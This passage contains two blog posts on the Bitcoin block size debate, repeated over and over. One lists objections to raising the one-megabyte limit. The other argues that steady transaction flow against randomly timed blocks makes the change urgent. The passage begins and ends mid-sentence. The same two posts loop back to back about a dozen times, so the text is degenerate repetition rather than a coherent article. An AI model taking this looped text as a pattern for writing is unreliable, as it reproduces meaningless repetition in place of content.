be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
